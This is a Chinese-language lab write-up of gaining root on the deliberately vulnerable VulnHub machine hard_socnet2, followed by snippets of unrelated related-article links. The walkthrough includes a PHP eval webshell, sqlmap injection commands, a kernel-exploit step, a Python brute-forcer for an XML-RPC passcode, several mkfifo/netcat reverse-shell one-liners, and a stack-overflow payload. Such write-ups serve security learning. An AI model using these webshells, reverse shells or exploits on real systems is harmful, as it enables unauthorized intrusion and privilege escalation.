打靶记录5——靶机hard_socnet2
靶机:
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
目标:
- 取得root权限
涉及攻击方法
- 主机发现
- 端口扫描
- SQL注入
- 文件上传
- 蚁剑上线
- XMLRPC命令执行
- 逆向工程
- 动态调试
- 漏洞利用代码编写
方法
- CVE-2021-3493
- 缓冲器溢出漏洞
学习目标
- 希望通过今天学习的内容,把自己渗透攻击的视野打开,不要仅仅局限在Web层面上,Web渗透只是其中的一个方面,0day的话必须要掌握缓冲区溢出或者堆溢出这样的一些方法
排错
无法启动靶机,搜索VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task

解决:在虚拟机 “设置” -> “系统” -> “处理器” 中将处理器数设置为2个或以上。
参考链接:
- VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task_end kernel panic not syncing: attempted to kill th-CSDN博客
- Windows 11 下 Virtualbox 6.1.34 出现 End kernel panic - not syncing: attempted to kill the idle task_end kernel panic - not syncing: asynchronous serro-CSDN博客
靶机和Kali都桥接了还是没有IP就检查桥接的WiFi网卡的网段,和自己靶机、Kali设置的是否在同一个网段,检查了一个小时才发现>_<

靶机修改成这样,不要address了就可以了,ip a是什么就是什么,不用管ens33,偷来的图,懒得再截图了

主机发现
arp-scan -l

发现 192.168.31.131 就是靶机地址
端口扫描和服务发现
nmap -p- 192.168.31.131
全端口扫描

开了22、80、和8000端口
nmap -sV 192.168.31.131
查看服务

80端口可以正常访问

访问8000端口,发现GET方式不能访问,尝试POST、Options、PUT等方法都不行


先展示搁置,看看80端口的Web界面吧

有登陆界面也有注册页面,我们可以注册一个进去看看里面有什么功能可以利用,在真实渗透过程中建议注册虚假信息,否则可能被蓝队溯源找到就扣分了

admin账号说他运行了一个monitor.py文件,后续或许可以利用

我们随便输入的东西被放在了网站上

文件上传漏洞
在Profile处可以在头像那里进行漏洞测试

我们尝试上传一个Webshell.php上去

<?phpeval($_POST['ant']);
?>
点击Upload Image上传,成功上传上去了,服务器并没有做任何过滤

右键图片复制图片的URL路径进行访问,浏览器成功解析
http://192.168.31.131/data/images/profiles/3.php

下载蚁剑Linux版
- AntSwordProject/AntSword-Loader: AntSword 加载器 (github.com)
- https://www.yuque.com/antswordproject/antsword/lmwppk

打开虚拟终端获得shell


SQL注入漏洞
在搜索框输入单引号或者双引号出现SQL报错,说明存在SQL注入漏洞

接下来拿出强大的Sqlmap,一把梭
先把数据包保存为一个文件 row


sqlmap -r row -p query
- -r 指定数据包
- -p 指定参数

爆库名
sqlmap -r row -p query --dbs

爆表名
sqlmap -r row -p query -D socialnetwork --tables

爆列名
sqlmap -r row -p query -D socialnetwork -T users --columns

获取用户邮箱账号和登录密码,在注入的过程中选择sqlmap的hash爆破功能爆破密码

登录admin账号后也没发现其他漏洞,还是文件上传漏洞,和前面没有区别
提权
方法一:CVE-2021-3493
直接在靶机上编译运行exp即可获得root的shell
- gcc exploit.c -o exp
- ./exp
信息收集:
lsb_release -a

利用蚁剑的文件上传功能将 exp.c 上传到 /tmp 目录下


通过蚁剑获取的shell不太行,所以我们再次通过nc获得一个功能全面一点的shell,
这台靶机上的 nc 没有 -e 参数,
可以用nc串联的方法,也可以用另外一种方法,参考博客:Vulnhub打靶记录:hard_socnet2 - C_CHL - 博客园 (cnblogs.com)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 4444 >/tmp/f
rm /tmp/f: 这条命令尝试删除/tmp/f文件。如果该文件存在,它将被删除。这是为了确保后续的命令正常工作。mkfifo /tmp/f: 这条命令创建了一个名为/tmp/f的命名管道(named pipe)。命名管道可以用作进程间通信的通道。cat /tmp/f|/bin/bash -i 2>&1: 这条命令使用cat命令读取来自/tmp/f的输入,并将其作为输入提供给/bin/bash(Bash shell)。通过-i参数,Bash shell以交互模式启动,允许用户与其进行交互。nc 1.0.0.3 4444 >/tmp/f: 这条命令使用nc命令(netcat)建立到 IP 地址为1.0.0.3、端口号为4444的远程主机的网络连接。然后,它将所有网络连接的输入重定向到/tmp/f文件中。从而和cat /tmp/f|/bin/bash -i 2>&1的/tmp/f形成一个回路,实现交互的作用。
mkfifo(make FIFO)不是一个函数,而是一个命令行工具。它用于在Linux和其他类Unix操作系统中创建FIFO(First-In, First-Out)命名管道。
FIFO是一种特殊类型的文件,用于实现进程间通信(IPC),其中数据按照写入的顺序被读取。FIFO提供了一种无关的进程通信方式,可以被多个进程同时读取和写入。

成功获取root权限

方法二:缓冲器溢出漏洞
回到www用户,查看有什么用户
cat /etc/passwd
发现socnet用户是有/bin/bash的

cd 到 /home/socnet目录下

peda:为GDB设计的一个强大的插件add_record:一个交互程序,根据你对问题的回答生成一个.txt文件。monitor.py:就是我们刚刚在后台看到的admin用户上传的一个监控脚本。下面为官方文档链接和部分代码的审计
xmlrpc — XMLRPC 服务端与客户端模块 — Python 3.12.4 文档
ps aux | grep monitor
发现monitor.py确实在运行中

cat 一下 monitor.py
原来代码只接受XMLRPC的请求方式,怪不得前面的GET方式不行
# 导入简单的XML-RPC服务器模块
import SimpleXMLRPCServer
import subprocess
import random# 生成一个随机的调试密码
debugging_pass = random.randint(1000,9999)# 函数:运行系统命令并返回输出
def runcmd(cmd):# 执行系统命令,并捕获输出和错误信息results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)output = results.stdout.read() + results.stderr.read()return output# 函数:获取CPU信息
def cpu():return runcmd("cat /proc/cpuinfo")# 函数:获取内存信息
def mem():return runcmd("free -m")# 函数:获取磁盘使用情况
def disk():return runcmd("df -h")# 函数:获取网络接口信息
def net():return runcmd("ip a")# 函数:安全执行系统命令(需要正确的调试密码)
def secure_cmd(cmd, passcode):if passcode == debugging_pass:return runcmd(cmd)else:return "Wrong passcode."# 创建一个XML-RPC服务器,监听在所有网络接口的8000端口
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
# 注册函数到XML-RPC服务器
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)# 开始运行XML-RPC服务器,接受和处理来自客户端的请求
server.serve_forever()

我们需要爆破出debugging_pass,才能执行secure_cmd()函数,因为只有这个函数的参数可控
爆破代码(URL记得加端口>_<):
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:for p in range(1000,10000):r = str(proxy.secure_cmd('whoami', p))if not "Wrong" in r:print(p)print(r)break

反弹Shell
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 5555 >/tmp/f "r = str(proxy.secure_cmd(cmd, 5038 ))print(r)


成功获得了socnet@socnet2:~账号的Shell,为了更具有交互性,使用python升级一下Shell
python -c "import pty; pty.spawn('/bin/bash')"

先看一下文件,发现具有suid和sgid权限,所以猜测作者是要我们通过这个文件的漏洞来提权
file add_record

运行add_record会在当前目录生成一个.txt文件
- python peda 是一个基于python的
gdb的调试脚本,通过这个脚本可以以一种比较友好、比较直观的方式来对应用程序进行gdb动态调试
有gdb,所以可能存在内存溢出的漏洞
可能可以发现应用中存在的内存溢出或者堆溢出漏洞,进而利用漏洞来实现本地的提权
gdb -q参数,安静模式运行
r让程序真正运行起来

在做内存溢出相应的测试的时候,通常业界会有一个习惯,通常测试时向每一个提交位置输入大量的字母A去测试,监视内存的变化,如果该变量存在缓冲区溢出漏洞导致了内存溢出,覆盖到了其他的寄存器位置的话,那么就可以判断其他寄存器位置里面的数据是否都是A,通过结果迹象来判断我们注入的数据是否成功的溢出到了其他的寄存器里面,进而通过进一步的探测去修改这些寄存器里面的具体位置的具体值,进而实现最终的代码加载执行
python3 -c "print('A'*100)"

在Explain:处输入A产生了溢出

在缓冲器溢出漏洞里,我们主要注意EIP这个寄存器,因为EIP寄存器当中保存的数据是CPU接下来要去运行的下一条指令的内存地址的编号

我们不知道是哪几个A的话,通过pattern create 100来生成一个特征字符串(这里面每四个字符都是唯一的),然后再运行程序,输入特征字符

然后用pattern search来找出 EIP 寄存器的位置,看到前62位之后是EIP,那么EIP就是第63位开始的

然后通过python3 -c "print('A' * 62 + 'BCDE')"生成字符串

再次运行程序,输入字符串

说明我们的计算的正确的,并且确定该程序存在缓冲区溢出漏洞。
查看汇编代码
disas main

call:在汇编代码中表示程序即将调用的函数push:用于将地址压入到栈中fopen@plt:是一个函数符号,它是一个指向函数的指针用来打开一个文件。当程序调用fopen时,它实际上调用了fopen@plt。这是因为在动态链接库中,函数的地址是在运行时解析的,而不是在编译时解析的。@plt是一个过程链接表(PLT)项,它是动态链接器用来解析函数地址的一部分,也就是说函数后面有 @plt的基本就是系统自带的库函数。
我们可以下断点调试,输入break *0x08048728,r继续运行,s单步执行,每次只执行一个CPU的指令,del 1可以删除断点,c可以让程序继续执行

发现vuln函数后面没有plt,说明它不是系统内嵌的函数,而是软件开发者自己写的函数,很可疑

输入info func查看应用都有哪些函数

- system@plt:system函数在汇编语言中的作用是来执行一些操作系统指令,有点类似于php语言里面的
exec - setuid@plt:接受一个参数
uid,表示要设置的用户ID,它会尝试将当前进程的有效用户ID设置为指定的值。和add_reocrd具有suid权限相呼应
通过这两个函数,可以大概猜测add_record这个小程序中是存在一些调用操作系统指令的功能
查看一下vuln函数,输入disas vuln

在汇编代码中出现了 strcpy函数。这个函数是不对输入的长度进行限定的,会导致空间的溢出,由此我们基本可以判断出缓冲区漏洞的产生原因就是该函数 vuln中的 strcpy函数。
接下来查看backdoor函数,输入disas backdoor

代码看起来是请求到了suid的权限,然后去执行一下system操作系统的指令
在主程序当中会调用到vuln函数,而vuln又会调用系统内嵌的那个存在漏洞的函数strcpy,当输入一些特殊字符的时候就到导致缓冲区漏洞的出现
但是主函数里面没有调用backdoor函数,所以我们必须利用主程序里加载的vuln函数,通过对它进行缓冲器溢出漏洞,向EIP寄存器里面写入backdoor函数的起始内存加载地址,进而通过它的漏洞,让它去执行backdoor函数,让backdoor函数去执行suid函数、system函数,进而执行到system函数里要执行的操作系统的命令
我们看看能不能注入更多的payload,进而通过它实现本地提权的目标

发现BCDE是一个从左到右的顺序,但是从内存当中的十六进制数据0x45444342来讲的话,它的顺序是颠倒的(42就是B的ASCII编码,以此类推),专业术语来说就是CPU架构的大头和小头的概念
所以我们想把backdoor函数的的起始内存地址写入到EIP寄存器里面的话,就必须也按照颠倒的顺序来写入,否则的话那个地址没有办法正确的指向backdoor函数所在的内存地址
所以我们再次查看backdoor函数的内存地址,输入disas backdoor

为了将payload一次性输入到add_record小程序中,编写代码,前面的1是输入姓名,工作年限,薪资这些的,struct模块可以倒转十六进制
python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))"

然后在靶机里输出生成payload文件,先q退出gdb
python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload

然后我们再用gdb加载add_record小程序,运行gdb -q ./add_record,然后r < payload输入payload

提示产生了一个新的进程,进程ID26479,这个新的程序是/bin/dash,另外一个进程是产生了一个/bin/bash

我们可以cat一下payload,然后将它通过管道输出给./add_record
-
- (横线)表示它
cat出来的所有内容
- (横线)表示它
cat payload - | ./add_record

执行命令成功获得root权限
可以再执行一次反弹shell来获取一个交互性更好的Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 6666 >/tmp/f


总结
- 很多时候,我们在做像一下0day漏洞的挖掘,在执行缓冲器溢出漏洞发现的过程当中,都要执行大量动态的调试,去跟着大量的内存的变化,其实是非常枯燥的过程,所以在这个过程当中,我们可以使用一下比较自动化的工具。
- 漏洞产生过程:因为主程序里有一个
vuln函数,而这个函数是有漏洞的的,而这个漏洞是来自于strcpy这个内嵌的函数存在的一个缓冲区溢出漏洞,因为它调用了存在缓冲区溢出漏洞的函数,所以vuln函数也就存在缓冲区溢出漏洞,而由于我们在Explain:这个位置输入数据的时候,这个数据会导致vuln函数的缓冲区溢出漏洞被我们触发,从而改写EIP寄存器当中的具体地址,进而通过改写的地址将backdoor函数在内存当中的内存地址给它写入到EIP寄存器里,通过这种方法,通过vuln函数的漏洞弱点加载了backdoor函数,而backdoor函数调用了system这个系统命令,同时也调用了suid,请求了suid的权限,以这个程序属主的权限root来运行这个程序,而system函数最终请求CPU,执行/bin/bash这个操作系统的shell,从而利用这系列的漏洞,通过内存跟踪,查看分析汇编语言代码,最终找到了漏洞具体存在的位置,只要能够触发这个漏洞的执行,最终就会通过函数执行/bin/bash,而这个/bin/bash将是以root权限来执行的
相关文章:
打靶记录5——靶机hard_socnet2
靶机: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova目标: 取得root权限 涉及攻击方法 主机发现端口扫描SQL注入文件上传蚁剑上线XMLRPC命令执行逆向工程动态调试漏洞利用代码编写 方法 CVE-2021-3493缓冲器溢出漏洞 学习目标 …...
独立站+TikTok达人:自主营销与创意内容的完美结合
在全球电商市场迅猛发展的今天,独立站和TikTok达人的结合正在创造一种全新的电商营销模式。独立站作为电商平台,其自主性和灵活性为商家提供了广阔的发展空间;而TikTok达人凭借其独特的内容创作能力和庞大的粉丝基础,成为推动销售…...
【启明智显分享】适用于多功能养生壶、茶吧机的2.8寸触摸彩屏解决方案
健康生活理念不断深入人心,多功能养生壶、茶吧机等智能产品成为现代家庭的热门小家电。为推动智能家居个性化、多样化发展,启明智显推出了基于SC05 Plus 2.8寸触摸彩屏的多功能养生壶、茶吧机的解决方案,旨在提升养生壶与茶吧机的用户体验与操…...
WAF绕过技术(PKAV团队)
目录 主流WAF的绕过技术 Web容器的特性 1. IIS+ASP的神奇% 2. IIS的Unicode编码字符 3. HPP(HTTP Parameter Pollution): HTTP参数污染 4. 畸形HTTP请求 Web应用层的问题 1. 多重编码问题 2. 多数据来源的问题 WAF自身的问题 1. 白名单机制 2. 数据获取方式存在缺陷…...
『 Linux 』POSIX 信号量与基于环形队列的生产者消费者模型
文章目录 信号量概念POSIX 信号量基于环形队列的生产者消费者模型基于环形队列的生产者消费者模型编码实现基于环形队列的生产者消费者模型发送任务测试 信号量概念 信号量是一种用于多线程或多进程间同步的机制; 其定义是一个整形变量,本质上信号量可以看成是一个计数器,用来描…...
python中的字符串方法
python中的字符串 举个例子先 name = 貂蝉开大 #声明了一个字符串 print(name) # 打印了一个字符串 print(name[0:1] #输出貂蝉 print(name[2:3] #输出开大 扩展方法 find() # 查找字符串中某个字符的索引 index_ = name.find("貂") print(index_) # 输出 …...
python实现consul的服务注册与注销
我在使用consul的时候主要用于prometheus的consul服务发现,把数据库、虚拟机信息发布到consul,prometheus通过consul拿到数据库、虚拟机信息去采集指标信息。 此篇文章前提是已经安装好consul服务以后,安装consul请参考二进制方式部署consul…...
校园选课助手【2】-重要的登录模块
用户登录模块技术要点: 密码通过MD5加密传输分布式session存储用户登录信息自定义注解进行字段校验自定义拦截器完成登录验证 下面依次给出代码和详细解释: 1.使用 MD5 二次加密用户登录信息,前端先通过密码加上盐进行MD5加密交给服务器&a…...
4章2节:从排序到分组和筛选,通过 R 的 dplyr 扩展包来操作
dplyr是R语言中一个强大且高效的数据处理包,专门设计用于处理数据框(data frames)。它的语法简洁明了,操作高效,尤其适用于大数据集。dplyr提供了一系列函数,使得数据的筛选、变换、聚合和排序等操作变得简单直观。本文将详细介绍dplyr扩展包如何进行数据的排序到分组和筛…...
C语言实现 -- 单链表
C语言实现 -- 单链表 1.顺序表经典算法1.1 移除元素1.2 合并两个有序数组 2.顺序表的问题及思考3.链表3.1 链表的概念及结构3.2 单链表的实现 4.链表的分类 讲链表之前,我们先看两个顺序表经典算法。 1.顺序表经典算法 1.1 移除元素 经典算法OJ题1:移除…...
WSL和Windows建立TCP通信协议
1.windows配置 首先是windows端,启动TCP服务端,用来监听指定的端口号,其中IP地址可以设置为任意,否则服务器可能无法正常打开。 addrSer.sin_addr.S_un.S_addr INADDR_ANY; recv函数用来接收客户端传输的数据,其中…...
Android Gradle开发与应用(一):Gradle基础
文章目录 引言一、Gradle简介二、Gradle基础语法1. 项目结构2. 插件应用3. 仓库与依赖4. 任务(Tasks) 三、Gradle在Android项目中的深入应用1. 构建变体(Build Variants)2. 依赖管理3. 自定义构建逻辑 四、Gradle WrapperGradle W…...
Linux多线程服务器编程-1-线程安全的对象生命期管理
对象的生与死不能由对象自身拥有的mutex(互斥器)来保护. 如何避免对象析构时可能存在的race condition(竞态条件)是C多线程编程面临的基本问题。 对象的销毁可能出现多种竞态条件(race condition): 在即将析构…...
Couchbase 技术详解
文章目录 Couchbase 原理数据模型数据分布数据访问与同步官网链接 基础使用安装与配置数据操作 高级使用数据分片与负载均衡数据索引与查询安全性与权限管理 优点高性能可扩展性高可用性灵活性 总结 Couchbase 是一个高性能、分布式、可扩展的 NoSQL 数据库系统,基于…...
PTE-信息收集
一、渗透测试流程 渗透测试通常遵循以下六个基本步骤: 前期交互:与客户沟通,明确测试范围、目标、规则等。信息收集:搜集目标系统的相关信息。威胁建模:分析目标系统可能存在的安全威胁。漏洞分析:对收集…...
委外订单执行明细表增加二开字段
文章目录 委外订单执行明细表增加二开字段业务背景业务需求方案设计详细设计扩展《委外订单执行明细表》扩展《委外订单执行明细过滤》创建插件,并实现报表逻辑修改创建插件,添加引用创建类,继承原数据源类ROExecuteDetailRpt报表挂载插件 委…...
“数字孪生+大模型“:打造设施农业全场景数字化运营新范式
设施农业是一个高度复杂和精细化管理的行业,涉及环境控制、作物生长、病虫害防治、灌溉施肥等诸多环节。传统的人工管理模式已经难以应对日益增长的市场需求和管理挑战。智慧农业的兴起为设施农业带来了新的机遇。将前沿信息技术与农业生产深度融合,实现农业生产的数字化、网络…...
zeppline 连接flink 1.17报错
Caused by: java.io.IOException: More than 1 flink scala jar files: /BigData/run/zeppelin/interpreter/flink/zeppelin-flink-0.11.1-2.12.jar,/BigData/run/zeppelin/interpreter/flink/._zeppelin-flink-0.11.1-2.12.jar 解决方案: 重新编译zepplin代码&…...
【机器视觉】【目标检测】【面试】独家问题总结表格
简述anchor free和anchor boxanchor free是对gt实际的左上和右下的点做回归,anchor box是对辅助框即锚框做回归说说对锚框的理解锚框是辅助框, 可以通过预设的长宽比设定,也可以通过k-means算法聚类数据集得到目标检测的指标MAP,FLOPS,FPS,参数量简述非极大值抑制(NMS)非极大…...
从零开始,快速打造API:揭秘 Python 库toapi的神奇力量
在开发过程中,我们常常需要从不同的网站获取数据,有时候还需要将这些数据转化成API接口提供给前端使用。传统的方法可能需要大量的时间和精力去编写代码。但今天我要介绍一个神奇的Python库——toapi,它可以让你在几分钟内创建API接口&#x…...
eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)
说明: 想象一下,你正在用eNSP搭建一个虚拟的网络世界,里面有虚拟的路由器、交换机、电脑(PC)等等。这些设备都在你的电脑里面“运行”,它们之间可以互相通信,就像一个封闭的小王国。 但是&#…...
从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...
代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...
OD 算法题 B卷【正整数到Excel编号之间的转换】
文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的:a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...
comfyui 工作流中 图生视频 如何增加视频的长度到5秒
comfyUI 工作流怎么可以生成更长的视频。除了硬件显存要求之外还有别的方法吗? 在ComfyUI中实现图生视频并延长到5秒,需要结合多个扩展和技巧。以下是完整解决方案: 核心工作流配置(24fps下5秒120帧) #mermaid-svg-yP…...
